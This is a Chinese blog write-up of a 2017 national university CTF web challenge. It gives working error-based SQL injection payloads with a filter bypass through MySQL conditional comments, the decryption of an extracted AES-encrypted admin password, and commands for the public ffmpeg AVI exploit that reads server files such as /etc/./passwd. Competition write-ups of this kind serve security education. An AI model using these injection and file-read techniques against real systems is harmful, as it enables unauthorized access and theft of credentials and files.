美文网首页黑客CTFLinux
[第十届全国大学生信息安全竞赛](web)方舟计划

[第十届全国大学生信息安全竞赛](web)方舟计划

作者: 王一航 | 来源:发表于2017-07-10 16:43 被阅读385次

    上古时代,大洪水降世,毁天灭地。唯有诺亚得到神启,将地球上所有动物各带一对躲入方舟,延续了人类文明的火种。活在现代世界的你,没想到有一天自己也要承担起这样拯救世界的责任。
    腾讯安全平台部得到情报,一个黑暗势力正在秘密研制足以毁灭世界的武器,为了掩人耳目,研究的核心文件被放在一个看上去平平无奇的网站上。腾讯方舟计划号召各路英雄,去获取项目的核心文件,守护人类文明拯救世界,而你正是其中一员……

    http://123.59.71.217

    备用 http://120.132.54.253


    image.png

    经过尝试发现 , 在注册的时候 , phone 这个参数之后添加单引号会引发报错


    image.png
    Error:You have an error in your SQL syntax;
    check the manual that corresponds to your MySQL server version
    for the right syntax to use near ''1'')' at line 1
    
    image.png image.png

    猜测注册的SQL如下 :

    $sql = "insert into users (username, password, phone) values ('$username', '$password', '$phone')";
    

    这里尝试利用报错注入 :

    image.png

    然后经过尝试发现 , 这里应该是过滤了 from 这个关键字
    通过大小写混写也无法绕过
    经过大佬提醒尝试使用mysql的条件注释

    username=1&
    phone=1'|updatexml(1,concat(0x7e,(
    select group_concat(schema_name)/*!00000from*/ information_schema.schemata limit 0,1
    ),0x7e),1))--+&
    password=1&
    repassword=1
    
    image.png
    username=1&
    phone=1'|updatexml(1,concat(
      0x7e,(
        select group_concat(table_name)/*!00000from*/ information_schema.tables 
          where table_schema='note' limit 0,1
      ),0x7e)
    ,1))--+&
    password=1&
    repassword=1
    
    image.png image.png image.png image.png
    Error:XPATH syntax error: '~BjDjgKE8CEk5hA9z9FDH7otvGntinom'
    
    image.png
    Error:XPATH syntax error: '~DjgKE8CEk5hA9z9FDH7otvGntinomp~'
    

    因此 secrectkey 应该是

    BjDjgKE8CEk5hA9z9FDH7otvGntinomp
    

    然后看看 user 表

    image.png

    这样选择会有问题 , 具体可以参考 :

    可以为其取一个别名就可以正常 select 出数据

    image.png
    Error:XPATH syntax error: '~1|fangzh0u|mIiD2wpTUTnWDzJO6d32'
    
    image.png
    Error:XPATH syntax error: '~|mIiD2wpTUTnWDzJO6d329w==|~'
    

    我们的目标是 :

    id : 1
    name : fangzh0u
    password : mIiD2wpTUTnWDzJO6d329w==
    

    密码明显被加密过 , 根据之前获取到的 secrectkey 可以推断出
    这个 secrectkey 可能就是用来加密明文密码的密匙

    我们来注册一个用户测试一下
    这里注册了一个用户名 , 密码都为 1 的用户
    然后通过注入来得到密码的密文

    image.png
    Error:XPATH syntax error: '~11612|1|9j9Rf1QtQMjIrjNef74UeQ='
    

    队友看出了这个应该是 AES 加密
    测试如下 :

    image.png
    http://aes.online-domain-tools.com/
    
    image.png image.png
    id : 1
    name : fangzh0u
    password : tencent123
    
    image.png

    上传一个 avi 的视频 , 服务器会将其转换为 mp4 格式
    根据文章 : http://www.freebuf.com/vuls/138377.html
    下载利用脚本 , 尝试读取 /etc/passwd 文件

    git clone https://github.com/neex/ffmpeg-avi-m3u-xbin.git
    

    无法成功读取 , 但是别的文件是可以正常读取的

    image.png

    队友猜想可能是过滤掉了 /etc/passwd 文件 , 尝试直接读取 php 文件 , 发现是可以正常读取的
    队友提示用 /etc/./passwd 来代替 /etc/passwd 成功读取到 passwd 文件
    如下图

    python3 gen_xbin_avi.py file:///etc/./passwd etc_passwd.avi
    
    image.png

    发现存在用户名 :

    s0m3b0dy
    

    猜测 flag 在该用户的家目录下
    再次利用 freebuf 上的 python 脚本构造畸形 avi 文件

    python3 gen_xbin_avi.py file:///home/s0m3b0dy/flag flag.avi
    

    上传 , 服务器处理后下载 mp4 文件即可成功读取到 flag

    image.png

    相关文章

      网友评论

        本文标题:[第十届全国大学生信息安全竞赛](web)方舟计划

        本文链接:https://www.haomeiwen.com/subject/ewtuhxtx.html